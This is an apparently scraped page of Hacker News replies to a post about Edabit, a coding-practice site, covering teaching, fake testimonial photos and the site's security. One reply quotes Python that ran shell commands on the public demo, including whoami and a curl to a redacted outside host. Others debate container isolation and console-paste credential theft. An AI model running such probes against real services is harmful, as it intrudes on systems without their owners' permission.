Live data from Hacker News

Show HN: Edabit – Like Duolingo for Learning to Code

edabit.com

81–90 of 134 posts

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#81
post #76

Having taught people coding for awhile, I don't think the step-by-step teaching models work with coding. It creates an environment where students just think about the next step without internalizing what they learned. I've met students who have gone through freecodecamp's exercises and really struggle with using what they learned. Edabit seems too heavily on algorithms. I've seen many beginner students get quickly bu…

How do you teach? As an instructor at a school or tutoring on the side?

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#82
post #42

I just reverse image searched all three of their testimonial photos all all come from random .edu faculty pages with completely different names. They also show up on random Twitter profiles and bandcamp pages. Not sure why they’re using fake testimonial photos but that seems rather scummy.

I’m confused as to how anyone would think this is alright to do.

Some people willingly submit photos to be used in this manner[0], which will lead to them being used all over the place.

Once you've seen this picture of Brad Frost[1] (a web tech personality), it's hilarious how many startup landing page mockups he appears in. I've personally seen dozens.

[0] https://uifaces.co/

[1] https://avatars3.githubusercontent.com/u/383701?s=460&v=4

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#83
If you guys like this you might love my project Polar:

https://getpolarized.io/

it was also on Show HN about a month ago.

https://news.ycombinator.com/item?id=18219960

The idea is basically to allow you to create your OWN flashcards and sync them with Anki with the books you're reading.

Basically you can create flashcards in the app directly and sync them to mobile so you never forget the key points of the documentation you're reading.

Right now I'm working on the cloud version so that people can discover each other and collaborate on building their own cards, share highlights, etc.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#84

Earlier quoted context omitted.

How does the url http://redacted/ work? I've never seen a url without a tld on the end. Could I register the domain http://foo ?

> "How does the url http://redacted/ work?" I apologize for the confusion. I used an actual server there (ie. http://somename.com ) but chose to redact the actual URL from this post.

Ah, that explains it. The link actually works, though.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#85

Earlier quoted context omitted.

Getting an exorbitant bill from DigitalOcean after someone has abused your "containers" would not concern you then?

I'm just not sure what you are alleging? Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What specifically are your concerns? What about what you've learned will create an exorbitant bill?

Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated.

What do you mean? It's an arbitrary RCE - a scenario that's generally treated as game over. What specifically are the concerns you don't have if that happens to a system of yours?

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#87

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

To others thinking about doing this: keep in mind this is against the law in the United States. Even if it's for a "good cause", you can't just "pen-test" (hack) anyone you want.

Granted, I really doubt anyone would prosecute over something like this, but a bigger company? Absolutely possible.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#88

Earlier quoted context omitted.

I'm just not sure what you are alleging? Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What specifically are your concerns? What about what you've learned will create an exorbitant bill?

> "What specifically are your concerns? What about what you've learned will create an exorbitant bill?" Abusing the containers to send large amounts of outgoing traffic would do just that. Downloading files would do that too. How about sending a " while(true) { } " to hog some CPU? It doesn't take much to cause significant monetary damage. Depending on their set-up, those containers could contain credentials or some…

But you don't know that they aren't using cgroups or a proxy to throttle traffic or cpu access, right? To me, it seemed that your message was overly dramatic when you didn't really prove anything. Depending on their set-up indeed. I just don't see the compromise in your analysis.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#89
post #85

Earlier quoted context omitted.

I'm just not sure what you are alleging? Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What specifically are your concerns? What about what you've learned will create an exorbitant bill?

Just because you have full "shell" access to the container doesn't necessarily imply any thing needs to be mitigated. What do you mean? It's an arbitrary RCE - a scenario that's generally treated as game over. What specifically are the concerns you don't have if that happens to a system of yours?

remote code execution doesn't really mean much in an un-privileged container. They could be using cgroup limits, capability drops, MAC, seccomp, etc etc

Now, I'm not saying that containers are super tight by default. It is entirely possible this particular container env is wide open, but I didn't really see anything too concerning from the parents analysis.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#90

Earlier quoted context omitted.

Maybe I don't see your point, but an iOS app could execute code locally. The only risk is the device owner could compromise the device. There is no [additional] risk of another user doing so.

The browser's Javascript console also only runs code locally, but getting people to copy code into it is a serious attack vector. Not saying that's Apple's reason, but being limited to local execution doesn't mean it's safe.

Because javascript run locally can connect to the internet, and if it put into the console within the page on a domain that is storing secrets in local storage/cookies, it can scoop up all your credentials or other private information and send them to some other server. Unrestricted local execution can give up full access to local user's accounts, so is not good. Server execution can do that and also maybe impact other users.
Post reply on HN